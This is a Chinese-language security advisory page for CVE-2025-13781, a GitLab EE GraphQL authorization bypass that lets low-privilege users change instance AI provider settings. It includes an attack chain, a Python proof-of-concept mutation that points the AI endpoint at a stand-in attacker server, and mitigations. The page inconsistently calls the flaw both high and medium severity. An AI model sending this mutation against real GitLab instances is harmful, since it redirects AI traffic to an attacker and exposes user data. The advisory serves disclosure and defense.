IPBUF安全漏洞报告
English
CVE-2025-13781 CVSS 6.5 中危

CVE-2025-13781: GitLab GraphQL授权缺失导致实例级AI配置可被篡改

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13781
漏洞类型
授权绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab EE

相关标签

授权绕过GraphQLGitLabAI配置CVE-2025-13781权限控制API安全

漏洞概述

CVE-2025-13781是GitLab EE中的一个高危授权绕过漏洞。该漏洞存在于GitLab的GraphQL API中,由于缺少适当的授权检查,攻击者可以利用GraphQL mutations修改实例级别的AI功能提供商设置。受影响版本为18.5至18.5.4、18.6至18.6.2以及18.7至18.7.0。攻击者只需拥有低权限的已认证用户账号,即可通过网络远程利用此漏洞,修改GitLab实例的AI配置,可能导致AI功能被恶意控制或服务中断。该漏洞CVSS评分为6.5,属于中等严重程度,但因其可导致完整性破坏(高影响)且无需用户交互,仍需及时修复。

技术细节

该漏洞根源在于GitLab GraphQL API中特定mutations缺少授权验证。在正常情况下,修改实例级别的AI功能提供商设置应该需要管理员权限,但相关GraphQL mutations未能正确检查请求者的权限级别。攻击者可以通过构造恶意的GraphQL请求,在mutation中指定目标AI提供商配置(如API端点、认证凭证等),从而将实例的AI功能指向攻击者控制的服务器。由于GitLab的AI功能(如代码建议、代码审查等)可能依赖这些配置,攻击成功后可窃取用户数据、拦截敏感信息或造成服务异常。攻击利用方式为标准的GraphQL API调用,攻击者使用已获取的低权限账号即可发起请求,无需特殊环境或工具。

攻击链分析

STEP 1
步骤1
攻击者获取GitLab低权限用户账号(如普通注册用户)
STEP 2
步骤2
攻击者构造恶意GraphQL mutation请求,指定目标AI提供商配置为攻击者控制的服务器
STEP 3
步骤3
通过GraphQL API发送请求,由于缺少授权检查,请求被接受执行
STEP 4
步骤4
GitLab实例的AI功能配置被篡改,所有AI请求被重定向到攻击者服务器
STEP 5
步骤5
攻击者可窃取用户数据、拦截敏感信息或造成服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13781 PoC - GraphQL mutation to modify AI provider settings # Requires authenticated user with low privileges import requests import json TARGET_URL = "https://gitlab.example.com/api/graphql" ACCESS_TOKEN = "your_access_token_here" # Malicious GraphQL mutation to modify AI provider settings mutation = """ mutation { aiConfiguredProviderSettingsUpdate(input: { provider: CUSTOM_AI endpoint: "https://attacker-controlled-server.com/api" token: "attacker_token" enabled: true }) { errors provider { id name } } } """ headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } response = requests.post( TARGET_URL, headers=headers, json={"query": mutation} ) print(f"Status: {response.status_code}") print(f"Response: {json.dumps(response.json(), indent=2)}")

影响范围

GitLab EE 18.5 < 18.5.5
GitLab EE 18.6 < 18.6.3
GitLab EE 18.7 < 18.7.1

防御指南

临时缓解措施
如无法立即升级,可通过限制非管理员用户对GraphQL API的访问、启用API请求日志审计、监控异常的AI配置变更等方式进行临时缓解。同时建议关注GitLab官方安全公告,及时获取最新补丁信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表